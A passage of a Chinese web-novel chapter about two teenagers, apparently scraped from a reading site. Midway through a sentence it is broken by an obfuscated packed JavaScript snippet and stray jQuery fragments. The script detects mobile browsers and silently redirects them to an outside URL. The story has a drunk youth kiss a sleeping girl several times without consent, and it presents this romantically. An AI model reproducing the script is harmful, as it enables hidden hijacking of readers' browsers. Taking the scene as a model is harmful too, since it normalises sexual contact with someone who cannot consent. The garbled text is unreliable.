周漾指腹抚过他的脖颈，抚过他的喉结。


    张北闭着眼睛，眼睫颤啊颤地，不敢睁开，只轻声地问：“小姐姐，睁开眼睛真的会死人吗？”


    周漾手指感受他声带的震动，十分残忍地说：“会！”


    “啊！”张北眼睫颤啊颤的，“那我不睁开。”


    半个身子涂完，周漾早就累得脱了力。


    张北梗着脖子颤着眼睫，听周漾倚在沙发上问：“还痒不痒？”


    张北闭着眼睛摇摇头：“热。”


    周漾把他卫衣抖了抖，扔过去：“穿上就不热了。”


    “哦。”张北摸索着衣服，小声地请示，“现在我可以把眼睛睁开吗？”


    “睁开吧。”周漾说。


    “哦。”张北开心地睁开眼，利落地穿上衣服，凑过来有点儿难以置信地问她，“已经结束了吗？”


    “不然呢？”周漾垂着眼皮反问他，“你还有哪儿热？”


    “哦。”张北点点头，“刚刚有几百只蚊子来咬我，不过现在确实好一点了。”


    毕竟是因她而起。周漾抬眼皮，细细瞅了他一圈，耳朵什么的地方也检查到了。她一面感叹这男人肉皮细嫩，一面无奈问：“现在它们还来咬你吗？咬你哪儿吗？”


    张北点点头，黑鸦鸦的眼睫无助地颤了颤，伸手去抓两条大腿中间那长长的一大条，有些可怜地看着她：“咬的这里，胀，难受。”


    ……


    …………


    周漾无比痛恨自己的眼睛比脑子转得更快，竟就这么随着他的手顺滑地看下去了，还一眼就看清了他下面那个变态的形状！


    她现在简直想自挖双目以死谢罪！！


    周漾这辈子都不想再看到他了！她忍无可忍地指了指楼梯，冲他吼道：“你，现在，立刻马上去给我乖乖睡觉！蚊子马上就不咬你了，快去！”


    张北仍不知羞耻地抓着那里，摇摇头，惨兮兮道：“不，这里你还没有帮我涂药。”


    周漾掐死他的心都有，恨恨地转身背对他道：“不涂，你快点儿滚去睡觉。”


    张北很委屈，委屈地跑过来蹲在她脚边，仰着头说：“真的很难受，你忘了给我涂药。”


    “没忘。”周漾闭眼说，“过会儿就不难受了，你听我的滚去睡觉就不难受。”


    张北摇头：“不，怕黑。”


    小黑黑蹿出来愤怒地把碗扔在他脚边。


    张北看着了，吹了个口哨，欢快地拿着小碗盛狗粮去了。


    然后她就听有个声音说：“小黑黑一个，我一个，小黑黑一个，我一个……”


    周漾回头看了眼，见张北正兴致勃勃地坐在地上和小黑黑平分狗粮。


    ……


    一阵心累。


    她今天算是开了眼，还是第一次看见有人喝酒能把自己喝成智障的。周漾倚着沙发仰望着头顶金黄的吊灯，不得不再次惊叹于人类的物种多样性。


    小黑黑吃饱后嫌弃地翻了张北一眼，然后用舌头舔舔爪子回窝补觉去了。


    张北撅着屁股往狗窝里扒了会儿头。过会儿，他好像想起来点儿什么，坐在地上独自瞅着他前边这一片空空如也的地板发呆。


    周漾闭眼享受了几分钟整个世界安静如鸡的静谧时刻，然后就这样昏昏沉沉的睡着了。


    张北半夜是被梁彦俊打游戏的声音吵醒的。


    醒来的时候梁彦俊正跟他挤在一个被窝，还把游戏机放在他耳边破口大骂。


    张北被吵醒后几乎是立刻就要冲上去给他爆头。


    然而梁彦俊没跑也没避，气定神闲地躺在床上，翻了个白眼对他说：“北哥我劝你先去看一眼楼下，回来以后随你要杀要剐。”


    张北狐疑地瞪了他一眼。


    他现在还没清醒，揉了揉脑袋重新躺回去。


    没两秒，张北渴的受不了了，踹了脚旁边，使唤他：“下去给我倒杯水。”


    “没空。”梁彦俊翻了个身背对他，手指在屏幕上一通乱飞，没好气道，“要喝你自己下去倒。”


    “你他妈……”张北又踹了他一脚，嚷嚷着，“滚开，别挡着老子道儿。”


    梁彦俊不动，哼哼唧唧的：“找道儿去楼下找去，这没你的道儿。”


    “有病！”张北踢脚他屁股，穿鞋时听见梁彦俊搁后面闷头说，“下楼的时候轻点儿，别吓着我们小嫂子。”


    “……什么意思？”


    梁彦俊看他眼，知道他喝酒是真断片，不开心道：“字面意思，你的那个麻辣烫女孩儿现在在楼下沙发上睡觉。”


    张北大脑空白了！


    他穿着袜子下楼，竟真看见了沙发上窝着个小脑袋。


    梁彦俊把张北的被子给人盖上了。


    女孩儿头快埋沙发里了，整个缩成一小球，嘴巴藏进被子里，将将露出个粉白粉白的小鼻尖，鼻孔还让被子给挡上了。


    不憋气么？


    张北怔怔看她一会儿，有些回不过弯来。


    不是……


    昨晚都发生什么来着？


    张北摸着脑袋，想：昨天她来家里还钱，然后他逼着人家凑过来亲了口。哈，很爽！然后梁彦俊出来，她人给羞跑了。自己难熬的缓了会儿，冲了个澡，不爽的刷了几套物理卷子，背完了《出师表》。后来附中那帮人约他吃烧烤。他去了“有家饭团”，看见了周漾。再后边有人找她朋友麻烦，俩人一起去了瞄点，玩了个游戏，五五三十三点儿周漾小屁胆子开的小……然后呢？


    后边儿怎么接不上了捏？


    她到底怎么睡这儿的？


    这女的肯定是傻了吧？在酒吧喝酒喝多了，把脑子喝坏了！


    这地儿都敢睡？！！畜生眼皮子底下她都敢睡！她不要命了！！


    张北鬼使神差地帮人把鞋脱了，不能让她把被子踹脏了。


    然后他扭头看了看。


    四下无人。


    张北伸手把她被子往下拉了拉，凑上去闻了闻，人还是香的，一股清清淡淡白开水混着桂花膏的味道。


    想亲！


    想的不行！


    张北又盯着人看了会儿，猛的想起来了——这应该还是在他梦里。


    这梦做的可越来越逼真了啊。


    他一只胳膊伸到她背上，一手抄起她腿弯，把人捞到怀里了。心脏不受控制地加速，他深吸了一口气，悄咪咪抱着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629337|172463||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人和被子往他卧室去。


    把人放到床上的时候，他还有点儿不可思议，喃喃道：“她可真软呐。”心里又害怕，不知道现在几点了，这梦会不会就快做醒了。


    他可不想在这个时候醒过来啊。


    张北又盯着床上这个小脑袋瓜看了一会儿。


    周漾在床上扭了扭，张北心跟着一颤，怕女孩儿突然睁开眼。他几乎是条件反射地蹦起来要跑，却见周漾翻了个身，把自己又缩回被子里去了，整个人团成个小球，嘴巴藏进被子里，只露个小鼻尖，鼻孔也被被子挡住。


    可真险啊！


    张北呼出口气，悄悄走了几步跪下来看她，手肘支着床铺。


    她可真乖呐！


    这张脸他初三那年一眼就看上了。


    那年晚会她主持节目，还表演了一场独舞。


    张北后来打听，才知道她在附中每年都主持晚会。


    可每年那个时候，他都有一段时间请假去西明打比赛。


    想想他们俩在附中三年，他竟然从来也没碰到过她。


    真是匪夷所思。


    其实后来也碰到过一次，是他特别留了心，放学时候看见她。张北也不知道自己怎么就跟在人家后边了，反正最后是跟着她和她妈走进了一家川菜馆……


    再后来，俩人不知怎么的就走到了绝路了。


    梦里都是她的背影，跟不住又追不上。她跑啊跑的，有时候是跟别的男的说说笑笑。他故意从她身边经过，她又看不到他了。好几次他梦见周漾在医院楼道里哭，里面很黑很暗，把她吓哭了。他冲进去了，她却不见了。他找啊找啊，找的心都痛了，她却找不见了。


    早知道后来那梦夜夜跑来折磨他，那天他就该把人揪起来抱在怀里的！她凭什么受着？人又不是她撞的……


    一想起那天，他的心就好痛啊！


    张北伸手把被子轻轻往下揪了揪。


    女孩儿嘴巴微张，轻轻锁着眉头。


    他凑上去，贴着她看啊看的，悄悄把嘴巴覆上去，飞快地啄了一口。


    他瞳孔放大，支着脑袋看她，像是发现了什么了不得的东西，一时不敢呼吸了！


    等了两秒。


    女孩儿没醒。


    哈哈。


    梦里的周漾是不会知道的。


    张北勾了勾嘴角，又偷偷贴上她嘴巴。


    她真的好软好香哇。


    他抬起头来，舔了舔嘴唇，喉结不受控制的打了个滚。


    心里打着鼓。


    下面胀得要爆炸了。


    他看她几秒，重又贴上去，不由自主的把舌头也探进去，甜的打了个激灵。


    他不敢用力，也不敢动，就这样保持着舌头刚刚贴上去的样子亲了十几秒，慢慢和女孩儿分开了。


    没有人会知道。


    她也不知道。


    张北意犹未尽地舔了舔嘴巴，忽然觉得有些庆幸又有些可惜。


    低头看到拖鞋，张北习惯性地把脚伸进去。


    梦快醒了，他脑子里想，他大约马上就会渴醒，然后去喝好多好多的水。


    张北关上灯，冲到楼下一口气灌下大半瓶凉水。